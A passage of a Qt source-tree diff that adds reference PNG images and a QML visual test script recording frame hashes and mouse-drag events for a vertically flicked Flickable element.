/dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.23.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.24.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.24.png new file mode 100644 index 0000000..e69de29 diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.3.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.3.png new file mode 100644 index 0000000..fc6669d Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.3.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.4.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.4.png new file mode 100644 index 0000000..c0b0bdf Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.4.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.5.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.5.png new file mode 100644 index 0000000..2ffa96e Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.5.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.6.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.6.png new file mode 100644 index 0000000..f550b89 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.6.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.7.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.7.png new file mode 100644 index 0000000..f550b89 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.7.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.8.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.8.png new file mode 100644 index 0000000..f550b89 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.8.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.9.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.9.png new file mode 100644 index 0000000..f550b89 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.9.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.qml b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.qml new file mode 100644 index 0000000..db70298 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.qml @@ -0,0 +1,7037 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 32 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 48 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 64 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 80 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 96 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 112 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 128 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 144 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 160 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 176 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 192 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 208 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 224 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 240 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 256 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 272 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 288 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 304 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 320 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 336 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 352 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 368 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 384 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 400 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 416 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 432 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 448 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 464 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 480 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 496 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 512 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 528 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 544 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 560 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 576 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 592 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 608 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 624 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 640 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 656 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 672 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 688 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 704 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 720 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 736 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 752 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 768 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 784 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 800 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 816 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 832 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 848 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 864 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 880 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 896 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 912 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 928 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 944 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 960 + image: "flickable-vertical.0.png" + } + Frame { + msec: 976 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 992 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1008 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1024 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1040 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1056 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1072 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1088 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1104 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1120 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1136 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1152 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1168 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1184 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1200 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1216 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1232 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1248 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1264 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1280 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1296 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1312 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1328 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1344 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1360 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1376 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1392 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1408 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1424 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1440 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1456 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1472 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1488 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1504 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1520 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1536 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1552 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1568 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1584 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1600 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1616 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1632 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1648 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1664 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1680 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1696 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1712 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1728 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1744 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1760 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1776 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1792 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1808 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1824 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1840 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1856 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1872 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1888 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1904 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1920 + image: "flickable-vertical.1.png" + } + Frame { + msec: 1936 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1952 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1968 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 1984 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 2000 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 2016 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 2032 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 2048 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 2064 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 2080 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 2096 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 2112 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 2128 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 2144 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 2160 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 2176 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 2192 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 2208 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 2224 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 2240 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 2256 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 2272 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 2288 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 2304 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 2320 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 2336 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 2352 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Frame { + msec: 2368 + hash: "8443c45791c906a9fe23831844f48a1c" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 143; y: 387 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2384 + hash: "a21e65718bc7a0cdcbeb058d0cbd2977" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 144; y: 386 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2400 + hash: "a21e65718bc7a0cdcbeb058d0cbd2977" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 145; y: 386 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 147; y: 380 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2416 + hash: "a21e65718bc7a0cdcbeb058d0cbd2977" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 151; y: 372 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2432 + hash: "90d9c65705a006741671657d00ab9dba" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 159; y: 346 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2448 + hash: "8c6301fb7409a22fda85072d48e838c8" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 161; y: 328 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 161; y: 304 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2464 + hash: "f5121fd6b0f20844d13cd8625a1a5047" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 159; y: 276 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 159; y: 276 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2480 + hash: "0d64b804b3b7e3ee052395f612d62bcf" + } + Frame { + msec: 2496 + hash: "17b68429dfaf80bb3313e78bb01d6c4e" + } + Frame { + msec: 2512 + hash: "e86ea3b103a7d9f95f7484f3579a95b5" + } + Frame { + msec: 2528 + hash: "884d3842f4aa2a38ff73511b143789a0" + } + Frame { + msec: 2544 + hash: "646d1dd3003ccac06b7251e8ce1beb2f" + } + Frame { + msec: 2560 + hash: "ff66db77c56bf6830bc39211b3441e69" + } + Frame { + msec: 2576 + hash: "8ff9c081cf823adaf6b17014fc582f12" + } + Frame { + msec: 2592 + hash: "7b1563aed6f030003e04f19bb6e91a51" + } + Frame { + msec: 2608 + hash: "3661b26f082e44cbc38e6033c28e99cb" + } + Frame { + msec: 2624 + hash: "8e0f117dc1f2527d6b2b3f0c849fbda1" + } + Frame { + msec: 2640 + hash: "5a13b0045bc132ec6c917a6d7ddf9c7a" + } + Frame { + msec: 2656 + hash: "06f332d287ed14b29dd0a252d59565a2" + } + Frame { + msec: 2672 + hash: "7b1512aabac1fb17ecc8e0c771e2477f" + } + Frame { + msec: 2688 + hash: "22b62a7b42df6bbafad76d99001616c7" + } + Frame { + msec: 2704 + hash: "0f6588fc79fa06097b2ba9bf6b1d6d14" + } + Frame { + msec: 2720 + hash: "c7849941c7572b3581a7eb9423838d90" + } + Frame { + msec: 2736 + hash: "8ddd8e9dc33698ecca6e19f2318e1c2e" + } + Frame { + msec: 2752 + hash: "1606eb49c73e60445d9eca11e23a33f9" + } + Frame { + msec: 2768 + hash: "6a7e58d27492742bf3d853ee37144dae" + } + Frame { + msec: 2784 + hash: "a55ba5b7ccdabd39385c6cb32e8e1b26" + } + Frame { + msec: 2800 + hash: "afe5705e8ebc240babee4a88a4321189" + } + Frame { + msec: 2816 + hash: "807d92ab4b8d2295f3abfd3508258dd5" + } + Frame { + msec: 2832 + hash: "ae95ed79eee246c74535d9ca97878ce6" + } + Frame { + msec: 2848 + hash: "c8cf5d07a06646552d5595603532b786" + } + Frame { + msec: 2864 + hash: "45971fd130662a263fcd86513aee222d" + } + Frame { + msec: 2880 + image: "flickable-vertical.2.png" + } + Frame { + msec: 2896 + hash: "8e78a9098ebd02cc828b76609c58d6b9" + } + Frame { + msec: 2912 + hash: "7f4d7a1c8e0a5494bf7f37a0a165d02b" + } + Frame { + msec: 2928 + hash: "881ed825133259e731b71cf6251ed862" + } + Frame { + msec: 2944 + hash: "8fb86c54b4e0280de18eb2d4f1c55e68" + } + Frame { + msec: 2960 + hash: "58ad7494c0bddc0de86bfd041f45a5d3" + } + Frame { + msec: 2976 + hash: "87489ba1390ee152a7de023e8ba25c72" + } + Frame { + msec: 2992 + hash: "b1f06b26110799e88837781cdf4688a7" + } + Frame { + msec: 3008 + hash: "d23e94ef53ce3b8143a716028ab729f9" + } + Frame { + msec: 3024 + hash: "1c5fdf8d85537836b698a50fcab58a4e" + } + Frame { + msec: 3040 + hash: "bd9c6ea06278efa4d491519734d0032f" + } + Frame { + msec: 3056 + hash: "b533e6543ca4efb34e187d540e4ed7e0" + } + Frame { + msec: 3072 + hash: "65f4ff7328ce366671436512da44a094" + } + Frame { + msec: 3088 + hash: "e7afcc4c29cd1868bcf1ebea1d19fca1" + } + Frame { + msec: 3104 + hash: "ddaf80f4b1d98b07fe4bf8282e13b2a8" + } + Frame { + msec: 3120 + hash: "d4888df20b11e30a7d613a32e603cea5" + } + Frame { + msec: 3136 + hash: "ac74be483173b08cb41b8d63e3e4d073" + } + Frame { + msec: 3152 + hash: "35c65757fe27f68e35c438269c00ba53" + } + Frame { + msec: 3168 + hash: "b8a28356b50362f2dabd0ab4a0d1d621" + } + Frame { + msec: 3184 + hash: "71205ebfcce9e3a018fe2c30f7f3ee92" + } + Frame { + msec: 3200 + hash: "0ef526ebcc23342ba4b8dfa8ed41e7de" + } + Frame { + msec: 3216 + hash: "9caaec9ca80b5da75e5e1231635c2f37" + } + Frame { + msec: 3232 + hash: "bb6b951e8c2252d873828e9ef1c9b625" + } + Frame { + msec: 3248 + hash: "15faa58fbb91f80a8c1256e5627e7777" + } + Frame { + msec: 3264 + hash: "bf2d0f512ade00ee44adb6624573daf9" + } + Frame { + msec: 3280 + hash: "5af713203ef673d40c69b014dcaf242f" + } + Frame { + msec: 3296 + hash: "970972470176fbd64208a3b25d4f5f65" + } + Frame { + msec: 3312 + hash: "135a4356d91e594ee2b71132ecf9a606" + } + Frame { + msec: 3328 + hash: "8a6364c0e033d517180ec287e61b3c9d" + } + Frame { + msec: 3344 + hash: "71c7d7eddd49b77e8f96f3b7a6e8470f" + } + Frame { + msec: 3360 + hash: "59667814b3e1a2d832b895235a9cdaf6" + } + Frame { + msec: 3376 + hash: "a324de5e8d115862b9908aba881df913" + } + Frame { + msec: 3392 + hash: "300902de67507207465a74bf6404c1c4" + } + Frame { + msec: 3408 + hash: "63f40e307d9f0c14bab111e833047ee1" + } + Frame { + msec: 3424 + hash: "53f54f5a4745043ef616ac21583416ef" + } + Frame { + msec: 3440 + hash: "851e6eebe48034d3185674f6908932af" + } + Frame { + msec: 3456 + hash: "06ef04a044394ab55fe2806a50db2abf" + } + Frame { + msec: 3472 + hash: "88c82d8bb518b18a174f55c647395de1" + } + Frame { + msec: 3488 + hash: "e62b84c87e1d73028305b9038915c53d" + } + Frame { + msec: 3504 + hash: "fdb38aa631cd6967585dd23e20f866a9" + } + Frame { + msec: 3520 + hash: "edabcd9bee25b1abcabced3b0b3dff1e" + } + Frame { + msec: 3536 + hash: "6f0a2dc3151c018846b13fd2e11d0fab" + } + Frame { + msec: 3552 + hash: "5101944e7867260ffdd3134436c6373a" + } + Frame { + msec: 3568 + hash: "a04f231f840571734f8dab609b2f82fd" + } + Frame { + msec: 3584 + hash: "87c22f82c659b405fd4e81640ce0b166" + } + Frame { + msec: 3600 + hash: "2273564228baea48cac343a4f30d6a59" + } + Frame { + msec: 3616 + hash: "8a4d1fc12743e6153c0f47e1fce9d55f" + } + Frame { + msec: 3632 + hash: "944cd812097868935a686211551ccd35" + } + Frame { + msec: 3648 + hash: "a2f1a14510a1cfe3c2c45fa10b0442b4" + } + Frame { + msec: 3664 + hash: "d754cc64c12ef8cc2db0ddf99381e88c" + } + Frame { + msec: 3680 + hash: "168487c8ca6f3463b3aa4433cfc99792" + } + Frame { + msec: 3696 + hash: "67a82c1516b0d8d953c7055f07a9fdc7" + } + Frame { + msec: 3712 + hash: "0df1592631b8cc1986f905a049b40bf0" + } + Frame { + msec: 3728 + hash: "8677472d35e17d7bd5fe40f7841bb01d" + } + Frame { + msec: 3744 + hash: "4472a8412e41377e0795d51706fb9180" + } + Frame { + msec: 3760 + hash: "84533717ec1419617895f2ec646fb1c0" + } + Frame { + msec: 3776 + hash: "ad50bd7708be94c6b8e63077e589ae48" + } + Frame { + msec: 3792 + hash: "a37fb5d7cec3fbff8e12157c88e08833" + } + Frame { + msec: 3808 + hash: "df1ca02b5bb76338ff24a561876f89f2" + } + Frame { + msec: 3824 + hash: "df1ca02b5bb76338ff24a561876f89f2" + } + Frame { + msec: 3840 + image: "flickable-vertical.3.png" + } + Frame { + msec: 3856 + hash: "a37fb5d7cec3fbff8e12157c88e08833" + } + Frame { + msec: 3872 + hash: "3c8a94d2e139a9e84eaa6bf522250756" + } + Frame { + msec: 3888 + hash: "23647f577ee83bc500ca1078eea2be90" + } + Frame { + msec: 3904 + hash: "c1a52221113c162e963a2a165b8d08a5" + } + Frame { + msec: 3920 + hash: "993c57d4ed9026f8615c68ef5d8c5c16" + } + Frame { + msec: 3936 + hash: "3d843eac108e047b6fe9ac21d8866fdd" + } + Frame { + msec: 3952 + hash: "5be1fa7cb99fda017cd5cdcf91a18525" + } + Frame { + msec: 3968 + hash: "c68ef5177f4568eb77c0f4135ba65e44" + } + Frame { + msec: 3984 + hash: "f047939a56a0ecee5deefcd3d2bf1710" + } + Frame { + msec: 4000 + hash: "4af748f59c6a62156a228ae635ec2d9c" + } + Frame { + msec: 4016 + hash: "b69b045557a8eada80a24eb4caa7ea4e" + } + Frame { + msec: 4032 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4048 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4064 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4080 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4096 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4112 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4128 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4144 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4160 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4176 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4192 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4208 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4224 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4240 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4256 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4272 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4288 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4304 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4320 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4336 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4352 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4368 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4384 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4400 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4416 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4432 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4448 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4464 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4480 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4496 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4512 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4528 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4544 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4560 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4576 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4592 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4608 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4624 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4640 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4656 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4672 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4688 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4704 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4720 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4736 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4752 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4768 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4784 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4800 + image: "flickable-vertical.4.png" + } + Frame { + msec: 4816 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4832 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4848 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4864 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4880 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4896 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4912 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4928 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4944 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4960 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4976 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 4992 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 5008 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 5024 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 5040 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 5056 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 5072 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 5088 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 5104 + hash: "a76f069dfcb1af0794999c34507e190e" + } + Frame { + msec: 5120 + hash: 